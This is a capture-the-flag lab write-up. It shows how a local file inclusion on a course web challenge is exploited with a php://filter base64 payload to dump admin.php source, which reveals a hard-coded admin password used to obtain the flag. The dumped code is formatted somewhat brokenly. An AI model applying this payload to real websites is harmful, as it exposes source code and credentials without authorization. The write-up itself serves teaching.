Simple Web 0x08(Lab - My First Meow Website)

Posted on | Post modified | In |

Simple Web 0x08(Lab - My First Meow Website)

tags: NTUSTWS CTF Web
  • Challenge: http://h4ck3r.quest:8400/
  • Target: Login as Admin

Background

Exploit

  1. Observe: According to the URL, http://h4ck3r.quest:8400/?page=inc/home, it might have LFI problem.
  2. Use php://filter to read page
    • http://h4ck3r.quest:8400/?page=php://filter/convert.base64-encode/resource=inc/home
    • source code ```php <!DOCTYPE html>
    Meow

```

  • Observe page source code: We know that admin.php is under / directory.

    Admin Panel

    <?php $admin_account = array(“username” => “admin”, “password” => “kqqPFObwxU8HYo8E5QgNLhdOxvZmtPhyBCyDxCwpvAQ”); if ( isset($_GET[‘username’]) && isset($_GET[‘password’]) && $_GET[‘username’] === $admin_account[‘username’] && $_GET[‘password’] === $admin_account[‘password’] ) { echo “<h1>LOGIN SUCCESS!</h1><p>“.getenv(‘FLAG’).”</p>”; }

    ?> ```

  • Then we get admin password is: kqqPFObwxU8HYo8E5QgNLhdOxvZmtPhyBCyDxCwpvAQ. Then we got flag!!!